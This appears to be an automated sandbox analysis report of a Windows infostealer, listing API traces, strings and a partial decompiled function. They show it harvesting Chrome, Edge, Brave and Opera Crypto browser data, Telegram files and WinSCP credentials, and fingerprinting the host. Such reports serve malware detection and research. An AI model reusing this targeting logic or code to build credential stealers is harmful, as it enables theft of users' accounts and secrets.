0x0041ed2d
0x0041ed2e
0x0041ed33
0x0041ed33
0x0041ed43
0x0041ed4d
0x0041ed53
0x0041ed59
0x0041ed71
0x0041ed78
0x0041ed7d
0x0041ed80
0x0041ed87
0x0041ed89
0x0041ed89
0x0041ed9f
0x0041edaa
0x0041edb2
0x0041edb3
0x0041edb8
0x0041edb8
0x0041edbb
0x0041edc5
0x0041edcb
0x0041edd1
0x0041edde
0x0041ede6
0x0041ede7
0x0041edec
0x0041edec
0x0041edfc
0x0041ee06
0x0041ee0c
0x0041ee12
0x0041ee2a
0x0041ee31
0x0041ee36
0x0041ee39
0x0041ee40
0x0041ee42
0x0041ee42
0x0041ee58
0x0041ee63
0x0041ee6b
0x0041ee6c
0x0041ee71
0x0041ee71
0x0041ee74
0x0041ee7e
0x0041ee84
0x0041ee8a
0x0041ee97
0x0041ee9f
0x0041eea0
0x0041eea5
0x0041eea5
0x0041eec0
0x0041eeca
0x0041eed0
0x0041eed6
0x0041eef3
0x0041ef10
0x0041ef2d
0x0041ef4a
0x0041ef67
0x0041ef67
0x0041ef6c
0x0041ef71
0x0041ef74
0x0041ef81
0x0041ef84
0x0041ef8a
0x0041ef9d
0x0041efa8
0x0041efb0
0x0041efb1
0x0041efb2
0x0041efc0

APIs

_memset.LIBCMT ref: 0041E473

Part of subcall function 004182B0: _memset.LIBCMT ref: 004182E5
Part of subcall function 004182B0: _memset.LIBCMT ref: 004182F8
Part of subcall function 004182B0: lstrcat.KERNEL32(?,00000000), ref: 0041830F
Part of subcall function 004182B0: lstrcat.KERNEL32(?,043B4558), ref: 0041831D
Part of subcall function 004182B0: lstrcat.KERNEL32(?,?), ref: 00418331
Part of subcall function 004182B0: lstrcat.KERNEL32(?,..\), ref: 00418343
Part of subcall function 004182B0: lstrcat.KERNEL32(?,0044C090), ref: 00418355
Part of subcall function 004182B0: lstrcat.KERNEL32(?,0044C094), ref: 00418367
Part of subcall function 004182B0: lstrcat.KERNEL32(?,0044C098), ref: 00418379
Part of subcall function 004182B0: lstrcat.KERNEL32(?,0044C09C), ref: 0041838B
Part of subcall function 004182B0: lstrcat.KERNEL32(?,0044C0A0), ref: 0041839D
Part of subcall function 004182B0: lstrcat.KERNEL32(?,0044C0A4), ref: 004183AF
Part of subcall function 004182B0: lstrcat.KERNEL32(?,0044C0A8), ref: 004183C1
Part of subcall function 004182B0: lstrcat.KERNEL32(?,0044C0AC), ref: 004183D3
Part of subcall function 004182B0: lstrcat.KERNEL32(?,.ini), ref: 004183E5

Part of subcall function 004182B0: FreeLibrary.KERNEL32(6CFF0000,?,?,?,?,?,00000010,?,00000000), ref: 0041843E

Part of subcall function 0041CBB0: _memset.LIBCMT ref: 0041CC17
Part of subcall function 0041CBB0: _memset.LIBCMT ref: 0041CC29
Part of subcall function 0041CBB0: lstrcat.KERNEL32(?,00000000), ref: 0041CC40
Part of subcall function 0041CBB0: lstrcat.KERNEL32(?,043B4558), ref: 0041CC4E
Part of subcall function 0041CBB0: lstrcat.KERNEL32(?,?), ref: 0041CC5C
Part of subcall function 0041CBB0: StrCmpCA.SHLWAPI(?,043F7F40,?,?,?,1A5A77C2,00000010,?,00000000), ref: 0041CC70
Part of subcall function 0041CBB0: StrCmpCA.SHLWAPI(?,043F6A20,?,?,?,1A5A77C2,00000010,?,00000000), ref: 0041CC8C
Part of subcall function 0041CBB0: StrCmpCA.SHLWAPI(?,Opera Crypto Stable,?,?,?,1A5A77C2,00000010,?,00000000), ref: 0041CCA6
Part of subcall function 0041CBB0: lstrcat.KERNEL32(?,00000000), ref: 0041CCCC
Part of subcall function 0041CBB0: lstrcat.KERNEL32(?,043B4558), ref: 0041CCDA
Part of subcall function 0041CBB0: _memset.LIBCMT ref: 0041CCED
Part of subcall function 0041CBB0: lstrcat.KERNEL32(?,?), ref: 0041CD03
Part of subcall function 0041CBB0: lstrcat.KERNEL32(?,0044C074), ref: 0041CD15

Part of subcall function 0041CBB0: lstrcat.KERNEL32(?,043B4588), ref: 0041CD28

Part of subcall function 0041C910: _memset.LIBCMT ref: 0041C979
Part of subcall function 0041C910: lstrcat.KERNEL32(?,00000000), ref: 0041C990
Part of subcall function 0041C910: lstrcat.KERNEL32(?,043B4558), ref: 0041C99E
Part of subcall function 0041C910: _memset.LIBCMT ref: 0041C9B1
Part of subcall function 0041C910: lstrcat.KERNEL32(?,?), ref: 0041C9C7
Part of subcall function 0041C910: lstrcat.KERNEL32(?,0044C05C), ref: 0041C9D9
Part of subcall function 0041C910: lstrcat.KERNEL32(?,043B4588), ref: 0041C9ED

Part of subcall function 0041C910: Sleep.KERNEL32(000007D0,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041CB19

_memset.LIBCMT ref: 0041E82C
_memset.LIBCMT ref: 0041E83E
_memset.LIBCMT ref: 0041E850
lstrcat.KERNEL32(?,00000000), ref: 0041E867
lstrcat.KERNEL32(?,0044C2A0), ref: 0041E879
lstrcat.KERNEL32(?,0044C2A4), ref: 0041E88B
lstrcat.KERNEL32(?,0044C2A8), ref: 0041E89D
lstrcat.KERNEL32(?,0044C2AC), ref: 0041E8AF
lstrcat.KERNEL32(?,0044C2B0), ref: 0041E8C1
lstrcat.KERNEL32(?,0044C2B4), ref: 0041E8D3
lstrcat.KERNEL32(?,0044C2B8), ref: 0041E8E5
lstrcat.KERNEL32(?,0044C2BC), ref: 0041E8F7
lstrcat.KERNEL32(?,0044C2C0), ref: 0041E909
lstrcat.KERNEL32(?,0044C2C4), ref: 0041E91B
lstrcat.KERNEL32(?,0044C2C8), ref: 0041E92D
lstrcat.KERNEL32(?,0044C2CC), ref: 0041E93F
lstrcat.KERNEL32(?,0044C2D0), ref: 0041E951
lstrcat.KERNEL32(?,0044C2D4), ref: 0041E963
lstrcat.KERNEL32(?,0044C2D8), ref: 0041E975
lstrcat.KERNEL32(?,0044C2DC), ref: 0041E987
lstrcat.KERNEL32(?,0044C2E0), ref: 0041E999
lstrcat.KERNEL32(?,0044C2E4), ref: 0041E9AB
lstrcat.KERNEL32(?,0044C2E8), ref: 0041E9BD

Part of subcall function 0041DD30: _memset.LIBCMT ref: 0041DDB6
Part of subcall function 0041DD30: _memset.LIBCMT ref: 0041DDC8
Part of subcall function 0041DD30: lstrcat.KERNEL32(?,00000000), ref: 0041DDDF
Part of subcall function 0041DD30: lstrcat.KERNEL32(?,025386D8), ref: 0041DDF2
Part of subcall function 0041DD30: lstrcat.KERNEL32(?,043F7F70), ref: 0041DE06
Part of subcall function 0041DD30: lstrcat.KERNEL32(?,00000000), ref: 0041DE1E
Part of subcall function 0041DD30: lstrcat.KERNEL32(?,043F7258), ref: 0041DE32
Part of subcall function 0041DD30: lstrcat.KERNEL32(?,0044B988), ref: 0041DE44

lstrcat.KERNEL32(?,0044C2EC), ref: 0041E9CF
lstrcat.KERNEL32(?,0044C2F0), ref: 0041E9E1
lstrcat.KERNEL32(?,0044C2F4), ref: 0041E9F3
lstrcat.KERNEL32(?,0044C2F8), ref: 0041EA05
lstrcat.KERNEL32(?,0044C2FC), ref: 0041EA17
lstrcat.KERNEL32(?,0044C300), ref: 0041EA29
lstrcat.KERNEL32(?,0044C304), ref: 0041EA3B
lstrcat.KERNEL32(?,0044C308), ref: 0041EA4D
lstrcat.KERNEL32(?,0044C30C), ref: 0041EA5F
lstrcat.KERNEL32(?,0044C310), ref: 0041EA71
lstrcat.KERNEL32(?,0044C314), ref: 0041EA83
lstrcat.KERNEL32(?,0044C318), ref: 0041EA95
lstrcat.KERNEL32(?,0044C31C), ref: 0041EAA7
lstrcat.KERNEL32(?,0044C320), ref: 0041EAB9
lstrcat.KERNEL32(?,0044C324), ref: 0041EACB
lstrcat.KERNEL32(?,0044C328), ref: 0041EADD
lstrcat.KERNEL32(?,0044C32C), ref: 0041EAEF
lstrcat.KERNEL32(?,0044C330), ref: 0041EB01
lstrcat.KERNEL32(?,0044C334), ref: 0041EB13
lstrcat.KERNEL32(?,0044C338), ref: 0041EB25
lstrcat.KERNEL32(?,0044C33C), ref: 0041EB37
lstrcat.KERNEL32(?,0044C340), ref: 0041EB49
lstrcat.KERNEL32(?,0044C344), ref: 0041EB5B
lstrcat.KERNEL32(?,0044C348), ref: 0041EB6D
lstrcat.KERNEL32(?,0044C34C), ref: 0041EB7F

Part of subcall function 0041C310: _memset.LIBCMT ref: 0041C362
Part of subcall function 0041C310: _memset.LIBCMT ref: 0041C37F
Part of subcall function 0041C310: _memset.LIBCMT ref: 0041C38D
Part of subcall function 0041C310: _memset.LIBCMT ref: 0041C39B
Part of subcall function 0041C310: RegOpenKeyExW.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,1A5A77C2,00000010), ref: 0041C3C9

Part of subcall function 0041D230: _memset.LIBCMT ref: 0041D276
Part of subcall function 0041D230: lstrcat.KERNEL32(?,00000000), ref: 0041D28D
Part of subcall function 0041D230: lstrcat.KERNEL32(?,0259E9F8), ref: 0041D2A0
Part of subcall function 0041D230: std::_Lockit::_Lockit.LIBCPMT ref: 0041D391

Part of subcall function 00416BB0: wsprintfA.USER32 ref: 00416BED
Part of subcall function 00416BB0: FindFirstFileA.KERNELBASE(?,?), ref: 00416C04
Part of subcall function 00416BB0: StrCmpCA.SHLWAPI(?,0044B994), ref: 00416C2C
Part of subcall function 00416BB0: StrCmpCA.SHLWAPI(?,0044B998), ref: 00416C46
Part of subcall function 00416BB0: wsprintfA.USER32 ref: 00416C68
Part of subcall function 00416BB0: StrCmpCA.SHLWAPI(?,0044B77E), ref: 00416C7D
Part of subcall function 00416BB0: wsprintfA.USER32 ref: 00416C9A
Part of subcall function 00416BB0: PathMatchSpecA.SHLWAPI(?,?), ref: 00416CD0
Part of subcall function 00416BB0: _memset.LIBCMT ref: 00416CEC
Part of subcall function 00416BB0: lstrcat.KERNEL32(?,\Soft\), ref: 00416D00
Part of subcall function 00416BB0: lstrcat.KERNEL32(?,?), ref: 00416D0E
Part of subcall function 00416BB0: lstrcat.KERNEL32(?,0044B9B8), ref: 00416D20
Part of subcall function 00416BB0: lstrcat.KERNEL32(?,?), ref: 00416D34
Part of subcall function 00416BB0: _memset.LIBCMT ref: 00416D48

Part of subcall function 00416BB0: wsprintfA.USER32 ref: 00416CB9
Part of subcall function 00416BB0: lstrcat.KERNEL32(?,0253C408), ref: 00416D5D
Part of subcall function 00416BB0: lstrcat.KERNEL32(?,00000000), ref: 00416D78
Part of subcall function 00416BB0: CopyFileA.KERNEL32(?,?,00000001), ref: 00416D8E
Part of subcall function 00416BB0: DeleteFileA.KERNEL32(?), ref: 00416DB5
Part of subcall function 00416BB0: FindNextFileA.KERNEL32(?,?), ref: 00416DE6
Part of subcall function 00416BB0: FindClose.KERNEL32(?), ref: 00416DFB

lstrlen.KERNEL32(?,043F7138,04372348,?,brave.exe,02538778,043F6B20,?,browser.exe,025384A8,043B4570,?,chrome.exe,02538340,043B4438,?), ref: 0041EF84

Strings

Telegram, xrefs: 0041EEDB
\Microsoft\Edge SxS\User Data\, xrefs: 0041E709
chrome.exe, xrefs: 0041E77A
chrome.exe, xrefs: 0041E563
chrome.exe, xrefs: 0041E5C3
A6F891F2*, xrefs: 0041ED38
chrome.exe, xrefs: 0041E5A3
chrome.exe, xrefs: 0041E583
chrome.exe, xrefs: 0041E683
settingss, xrefs: 0041EEFD
msedge.exe, xrefs: 0041E6E3
chrome.exe, xrefs: 0041E643
Telegram, xrefs: 0041ED8B
Telegram, xrefs: 0041EF15
\Microsoft\Edge Beta\User Data\, xrefs: 0041E726
Opera Crypto Stable, xrefs: 0041E526
Telegram, xrefs: 0041EE44
Microsoft Edge Canary, xrefs: 0041E704
Microsoft Edge Beta, xrefs: 0041E721
Telegram, xrefs: 0041EF4F
chrome.exe, xrefs: 0041E6A3
Opera Crypto, xrefs: 0041E52B
msedge.exe, xrefs: 0041E6F8
prefix, xrefs: 0041EEE0
browser.exe, xrefs: 0041E79A
BC10B77*, xrefs: 0041EC7F
Microsoft Edge Dev, xrefs: 0041E73E
Telegram, xrefs: 0041EC19
Telegram, xrefs: 0041EF32
chrome.exe, xrefs: 0041E543
chrome.exe, xrefs: 0041E75A
Telegram, xrefs: 0041EBA4
Telegram, xrefs: 0041EB85
brave.exe, xrefs: 0041E7AF
chrome.exe, xrefs: 0041E6C3
chrome.exe, xrefs: 0041E623
C461824F*, xrefs: 0041EDF1
Telegram, xrefs: 0041EEA8
chrome.exe, xrefs: 0041E663
\Microsoft\Edge Dev\User Data\, xrefs: 0041E743
countries, xrefs: 0041EEAD
F8806DD0, xrefs: 0041EE24
chrome.exe, xrefs: 0041E5E3
chrome.exe, xrefs: 0041E603
A92DAA6E, xrefs: 0041ED6B
shortcuts-custom.json, xrefs: 0041EF1A
A7FDF864F, xrefs: 0041ECB2
msedge.exe, xrefs: 0041E732
Telegram, xrefs: 0041EEF8
msedge.exe, xrefs: 0041E715
shortcuts-default.json, xrefs: 0041EF37
Telegram, xrefs: 0041ECD2
usertag, xrefs: 0041EF54

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$Filewsprintf$Find$CloseCopyDeleteFirstFreeLibraryLockitLockit::_MatchNextOpenPathSleepSpeclstrlenstd::_
String ID: A6F891F2*$A7FDF864F$A92DAA6E$BC10B77*$C461824F*$F8806DD0$Microsoft Edge Beta$Microsoft Edge Canary$Microsoft Edge Dev$Opera Crypto$Opera Crypto Stable$Telegram$Telegram$Telegram$Telegram$Telegram$Telegram$Telegram$Telegram$Telegram$Telegram$Telegram$Telegram$\Microsoft\Edge Beta\User Data\$\Microsoft\Edge Dev\User Data\$\Microsoft\Edge SxS\User Data\$brave.exe$browser.exe$chrome.exe$chrome.exe$chrome.exe$chrome.exe$chrome.exe$chrome.exe$chrome.exe$chrome.exe$chrome.exe$chrome.exe$chrome.exe$chrome.exe$chrome.exe$chrome.exe$chrome.exe$countries$msedge.exe$msedge.exe$msedge.exe$msedge.exe$prefix$settingss$shortcuts-custom.json$shortcuts-default.json$usertag
API String ID: 1587492589-3958056354
Opcode ID: d6b16891eaa016cd092b3d55166805f0ce2ae5ba6475be46248d56ef6b5dcd37
Instruction ID: 764ad1a0199df5da8d09c63472a5ad550eee4379da5790b5e1827e4bf9bb0466
Opcode Fuzzy Hash: d6b16891eaa016cd092b3d55166805f0ce2ae5ba6475be46248d56ef6b5dcd37
Instruction Fuzzy Hash: DD52B6B1A41214AFD754DB90DC86EEA7378AB48700F5486DEF10993181DFB8A788CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D490 Relevance: 142.3, APIs: 77, Strings: 4, Instructions: 543
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040D4D3
lstrcat.KERNEL32(?,043F7F28), ref: 0040D4E9
lstrcat.KERNEL32(?,00000000), ref: 0040D51C
lstrcat.KERNEL32(?,00448C94), ref: 0040D54B
lstrcat.KERNEL32(?,043722F8), ref: 0040D55F
lstrcat.KERNEL32(?,00000000), ref: 0040D572
lstrcat.KERNEL32(?,00448C98), ref: 0040D584
lstrcat.KERNEL32(?,043F7B08), ref: 0040D598
lstrcat.KERNEL32(?,00000000), ref: 0040D5C6
lstrcat.KERNEL32(?,00448C9C), ref: 0040D5F2
lstrcat.KERNEL32(?,043F8548), ref: 0040D606
lstrcat.KERNEL32(?,00000000), ref: 0040D634
lstrcat.KERNEL32(?,00448CA0), ref: 0040D660
lstrcat.KERNEL32(?,043F84D8), ref: 0040D674
lstrcat.KERNEL32(?,00000000), ref: 0040D6A2
lstrcat.KERNEL32(?,00448CA4), ref: 0040D6CE
lstrcat.KERNEL32(?,043F8608), ref: 0040D6E2
GetCurrentProcessId.KERNEL32 ref: 0040D6E8
lstrcat.KERNEL32(?,00000000), ref: 0040D714
lstrcat.KERNEL32(?,00448CA8), ref: 0040D740
lstrcat.KERNEL32(?,043F6900), ref: 0040D754
lstrcat.KERNEL32(?,00448CAC), ref: 0040D766
lstrcat.KERNEL32(?,043F78F8), ref: 0040D77A
lstrcat.KERNEL32(?,00000000), ref: 0040D78D
lstrcat.KERNEL32(?,00448CB0), ref: 0040D79F
lstrcat.KERNEL32(?,00000000), ref: 0040D7B2
lstrcat.KERNEL32(?,00448CB4), ref: 0040D7C4
lstrcat.KERNEL32(?,Install date: ), ref: 0040D7D6
lstrcat.KERNEL32(?,00000000), ref: 0040D7E9
lstrcat.KERNEL32(?,00448CC8), ref: 0040D7FB
lstrcat.KERNEL32(?,AV: ), ref: 0040D80D
lstrcat.KERNEL32(?,00000000), ref: 0040D820
lstrcat.KERNEL32(?,00448CD4), ref: 0040D832
lstrcat.KERNEL32(?,043F7880), ref: 0040D846
lstrcat.KERNEL32(?,00000000), ref: 0040D859
lstrcat.KERNEL32(?,00448CD8), ref: 0040D86B
lstrcat.KERNEL32(?,043F7970), ref: 0040D87E

Part of subcall function 0041F5B0: GetUserNameA.ADVAPI32(?,?), ref: 0041F5DB

lstrcat.KERNEL32(?,00000000), ref: 0040D891
lstrcat.KERNEL32(?,00448CDC), ref: 0040D8A3
lstrcat.KERNEL32(?,043F6A40), ref: 0040D8B7
lstrcat.KERNEL32(?,00000000), ref: 0040D8E5
lstrcat.KERNEL32(?,00448CE0), ref: 0040D911
lstrcat.KERNEL32(?,043F6A80), ref: 0040D925
lstrcat.KERNEL32(?,00000000), ref: 0040D953
lstrcat.KERNEL32(?,00448CE4), ref: 0040D97F
lstrcat.KERNEL32(?,043F6AC0), ref: 0040D993
lstrcat.KERNEL32(?,00000000), ref: 0040D9A6
lstrcat.KERNEL32(?,00448CE8), ref: 0040D9B8
lstrcat.KERNEL32(?,043F7AF0), ref: 0040D9CC
lstrcat.KERNEL32(?,00000000), ref: 0040D9DF
lstrcat.KERNEL32(?,00448CEC), ref: 0040D9F1
lstrcat.KERNEL32(?,043F78E0), ref: 0040DA04
lstrcat.KERNEL32(?,00000000), ref: 0040DA32
lstrcat.KERNEL32(?,00448CF0), ref: 0040DA5E
lstrcat.KERNEL32(?,043F7868), ref: 0040DA71
lstrcat.KERNEL32(?,00448CF4), ref: 0040DA83
lstrcat.KERNEL32(?,043F7988), ref: 0040DA96

Part of subcall function 0041F110: _memset.LIBCMT ref: 0041F142
Part of subcall function 0041F110: RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000000,00020119,?), ref: 0041F162
Part of subcall function 0041F110: RegQueryValueExA.KERNEL32(?,ProcessorNameString,00000000,00000000,00000000,000000FF), ref: 0041F18A
Part of subcall function 0041F110: RegCloseKey.ADVAPI32(?), ref: 0041F197
Part of subcall function 0041F110: CharToOemA.USER32(00000000,?), ref: 0041F1AB

lstrcat.KERNEL32(?,00000000), ref: 0040DAA9
lstrcat.KERNEL32(?,00448CF8), ref: 0040DABB
lstrcat.KERNEL32(?,Cores: ), ref: 0040DACD

Part of subcall function 0041F050: GetLogicalProcessorInformationEx.KERNEL32(0000FFFF,00000000,0040DAD8,?,00000010,?,?,0040DAD8), ref: 0041F06F
Part of subcall function 0041F050: GetLastError.KERNEL32(?,00000010,?,?,0040DAD8), ref: 0041F080
Part of subcall function 0041F050: _free.LIBCMT ref: 0041F090
Part of subcall function 0041F050: _malloc.LIBCMT ref: 0041F09C
Part of subcall function 0041F050: GetLogicalProcessorInformationEx.KERNEL32(0000FFFF,00000000,0040DAD8,?,?,0040DAD8), ref: 0041F0B4
Part of subcall function 0041F050: _free.LIBCMT ref: 0041F0DD

Part of subcall function 00424450: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004245BC

lstrcat.KERNEL32(?,00000000), ref: 0040DB01
lstrcat.KERNEL32(?,00448D04), ref: 0040DB2D
lstrcat.KERNEL32(?,Threads: ), ref: 0040DB3F
lstrcat.KERNEL32(?,00000000), ref: 0040DB6D
lstrcat.KERNEL32(?,00448D14), ref: 0040DBB4
lstrcat.KERNEL32(?,043F84E8), ref: 0040DBC8
lstrcat.KERNEL32(?,00000000), ref: 0040DBDB
lstrcat.KERNEL32(?,00448D18), ref: 0040DBED
lstrcat.KERNEL32(?,043F79D0), ref: 0040DC00
lstrcat.KERNEL32(?,00000000), ref: 0040DC13
lstrcat.KERNEL32(?,00448D1C), ref: 0040DC25
lstrcat.KERNEL32(?,043F7850), ref: 0040DC39
lstrcat.KERNEL32(?,00448D20), ref: 0040DC4B
lstrcat.KERNEL32(?,00448D24), ref: 0040DC6F
lstrcat.KERNEL32(?,043F7A00), ref: 0040DC82
lstrcat.KERNEL32(?,00448D28), ref: 0040DC94

Part of subcall function 0041F1D0: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?,00000010,?), ref: 0041F21D
Part of subcall function 0041F1D0: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 0041F25C
Part of subcall function 0041F1D0: wsprintfA.USER32 ref: 0041F284
Part of subcall function 0041F1D0: RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 0041F2A6
Part of subcall function 0041F1D0: RegQueryValueExA.KERNEL32(?,DisplayName,00000000,?,?,00000400), ref: 0041F2E0
Part of subcall function 0041F1D0: lstrcat.KERNEL32(0040DCAC,?), ref: 0041F2F2
Part of subcall function 0041F1D0: RegQueryValueExA.KERNEL32(?,DisplayVersion,00000000,?,?,00000400), ref: 0041F324
Part of subcall function 0041F1D0: lstrcat.KERNEL32(0040DCAC,0044C6D0), ref: 0041F334
Part of subcall function 0041F1D0: lstrcat.KERNEL32(0040DCAC,?), ref: 0041F342

lstrlen.KERNEL32(?,?), ref: 0040DCB3

Strings

Threads: , xrefs: 0040DB33
Install date: , xrefs: 0040D7CA
Cores: , xrefs: 0040DAC1
AV: , xrefs: 0040D801

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$OpenQueryValue$InformationLogicalProcessor_free_memset$CharCloseCurrentEnumErrorIos_base_dtorLastNameProcessUser_malloclstrlenstd::ios_base::_wsprintf
String ID: AV: $Cores: $Install date: $Threads:
API String ID: 1034022175-1125741552
Opcode ID: 4d93b30180fd863c61c995dcab9f3af0c6129445bea4b203fbe542205d331fda
Instruction ID: f1232a4d11535e63a1158b6c2260fd1b08de51a83f0dfed38e9028f7bbb39ddd
Opcode Fuzzy Hash: 4d93b30180fd863c61c995dcab9f3af0c6129445bea4b203fbe542205d331fda
Instruction Fuzzy Hash: 74321EB6A01215ABCB14DFA0DC84DDE7B78BB44745B048AEEF10AD2150DF74A788CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004136D0 Relevance: 87.1, APIs: 22, Strings: 27, Instructions: 1333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E004136D0(void* __ecx, intOrPtr _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v280;
				char _v540;
				char _v800;
				char _v1060;
				char _v1320;
				intOrPtr* _v1324;
				intOrPtr* _v1328;
				intOrPtr _v1332;
				intOrPtr _v1336;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t504;
				signed int _t505;
				intOrPtr* _t508;
				intOrPtr* _t512;
				intOrPtr* _t516;
				intOrPtr* _t525;
				intOrPtr* _t529;
				intOrPtr* _t533;
				intOrPtr* _t538;
				intOrPtr* _t542;
				intOrPtr* _t546;
				intOrPtr* _t553;
				intOrPtr* _t558;
				intOrPtr* _t562;
				intOrPtr* _t566;
				intOrPtr* _t571;
				intOrPtr* _t575;
				intOrPtr* _t579;
				intOrPtr* _t584;
				intOrPtr* _t588;
				intOrPtr* _t592;
				intOrPtr* _t598;
				intOrPtr* _t602;
				intOrPtr* _t608;
				intOrPtr* _t612;
				intOrPtr* _t617;
				intOrPtr* _t621;
				intOrPtr* _t625;
				intOrPtr* _t630;
				intOrPtr* _t634;
				intOrPtr* _t638;
				intOrPtr* _t643;
				intOrPtr* _t647;
				intOrPtr* _t651;
				intOrPtr* _t656;
				intOrPtr* _t660;
				intOrPtr* _t664;
				intOrPtr* _t669;
				intOrPtr* _t673;
				intOrPtr* _t677;
				intOrPtr* _t682;
				intOrPtr* _t686;
				intOrPtr* _t690;
				intOrPtr* _t696;
				intOrPtr* _t700;
				intOrPtr* _t706;
				intOrPtr* _t710;
				intOrPtr _t719;
				intOrPtr _t721;
				intOrPtr _t724;
				intOrPtr _t726;
				intOrPtr _t737;
				intOrPtr _t740;
				intOrPtr _t743;
				intOrPtr _t746;
				intOrPtr _t752;
				intOrPtr _t755;
				void* _t777;
				char* _t779;
				char* _t780;
				char* _t781;
				char* _t783;
				char* _t784;
				char* _t785;
				char* _t787;
				char* _t788;
				char* _t789;
				char* _t791;
				char* _t792;
				char* _t793;
				char* _t795;
				char* _t796;
				char* _t797;
				char* _t799;
				char* _t800;
				char* _t801;
				char* _t803;
				char* _t804;
				char* _t805;
				char* _t807;
				char* _t808;
				char* _t809;
				char* _t811;
				char* _t812;
				char* _t813;
				char* _t815;
				char* _t816;
				char* _t817;
				char* _t819;
				char* _t820;
				char* _t821;
				char* _t823;
				char* _t824;
				char* _t825;
				char* _t827;
				char* _t828;
				char* _t829;
				char* _t831;
				char* _t832;
				char* _t833;
				char* _t835;
				char* _t836;
				char* _t837;
				char* _t839;
				char* _t840;
				char* _t841;
				char* _t843;
				char* _t844;
				char* _t845;
				char* _t847;
				char* _t848;
				char* _t849;
				char* _t851;
				char* _t852;
				char* _t853;
				intOrPtr _t856;
				intOrPtr _t857;
				intOrPtr _t858;
				intOrPtr _t860;
				intOrPtr _t871;
				intOrPtr _t880;
				intOrPtr _t882;
				intOrPtr _t884;
				intOrPtr _t886;
				intOrPtr _t888;
				intOrPtr _t890;
				intOrPtr _t892;
				intOrPtr _t894;
				intOrPtr _t896;
				intOrPtr _t898;
				intOrPtr _t900;
				intOrPtr _t902;
				intOrPtr _t904;
				intOrPtr _t906;
				intOrPtr _t908;
				intOrPtr _t910;
				intOrPtr _t912;
				intOrPtr _t914;
				intOrPtr _t916;
				intOrPtr _t918;
				intOrPtr _t920;
				intOrPtr _t922;
				intOrPtr _t924;
				intOrPtr _t926;
				intOrPtr _t928;
				intOrPtr _t930;
				intOrPtr _t932;
				intOrPtr _t934;
				intOrPtr _t936;
				intOrPtr _t938;
				intOrPtr _t940;
				intOrPtr _t942;
				intOrPtr _t944;
				intOrPtr _t946;
				intOrPtr _t948;
				intOrPtr _t950;
				intOrPtr _t952;
				intOrPtr _t954;
				intOrPtr _t956;
				intOrPtr _t958;
				intOrPtr _t960;
				intOrPtr _t962;
				intOrPtr _t964;
				intOrPtr _t966;
				intOrPtr _t968;
				intOrPtr _t969;
				intOrPtr _t971;
				intOrPtr _t972;
				intOrPtr _t973;
				void* _t990;
				void* _t991;
				void* _t994;
				signed int _t995;
				void* _t996;
				char* _t998;
				char* _t999;
				char* _t1000;
				char* _t1001;
				char* _t1002;
				char* _t1003;
				char* _t1004;
				char* _t1005;
				char* _t1006;
				char* _t1007;
				char* _t1008;
				char* _t1009;
				char* _t1010;
				char* _t1011;
				char* _t1012;
				char* _t1013;
				char* _t1014;
				char* _t1015;
				char* _t1016;
				char* _t1017;
				char* _t1018;
				char* _t1019;
				char* _t1020;
				char* _t1021;
				char* _t1022;
				char* _t1023;
				char* _t1024;
				char* _t1025;
				char* _t1026;
				char* _t1027;
				char* _t1028;
				char* _t1029;
				char* _t1030;
				char* _t1031;
				char* _t1032;
				char* _t1033;
				char* _t1034;
				char* _t1035;
				char* _t1036;
				char* _t1037;
				char* _t1038;
				char* _t1039;
				char* _t1040;
				char* _t1041;
				char* _t1042;
				char* _t1043;
				char* _t1044;
				char* _t1045;
				char* _t1046;
				char* _t1047;
				char* _t1048;
				char* _t1049;
				char* _t1050;
				char* _t1051;
				char* _t1052;
				char* _t1053;
				char* _t1054;

				_push(0xffffffff);
				_push(E0043F2B2);
				_push( *[fs:0x0]);
				_t504 =  *0x4556f0; // 0x1a5a77c2
				_t505 = _t504 ^ _t995;
				_v20 = _t505;
				_push(_t505);
				 *[fs:0x0] =  &_v16;
				_t990 = __ecx;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((intOrPtr*)(__ecx + 0x20)) = _a4;
				_t508 =  *0x456e0c; // 0x253c2e8
				_t998 = _t996 - 0x50c;
				_t779 = _t998;
				_t6 = _t508 + 1; // 0x253c2e9
				 *((intOrPtr*)(_t779 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t779 + 0x10)) = 0;
				_v1324 = _t508;
				_v1336 = _t998;
				 *_t779 = 0;
				_v1328 = _t6;
				do {
					_t880 =  *_t508;
					_t508 = _t508 + 1;
				} while (_t880 != 0);
				E00405620(_t779, _v1324, _t508 - _v1328);
				_t512 =  *0x456db8; // 0x253c300
				_t999 = _t998 - 0x1c;
				_t780 = _t999;
				_t14 = _t512 + 1; // 0x253c301
				 *((intOrPtr*)(_t780 + 0x14)) = 0xf;
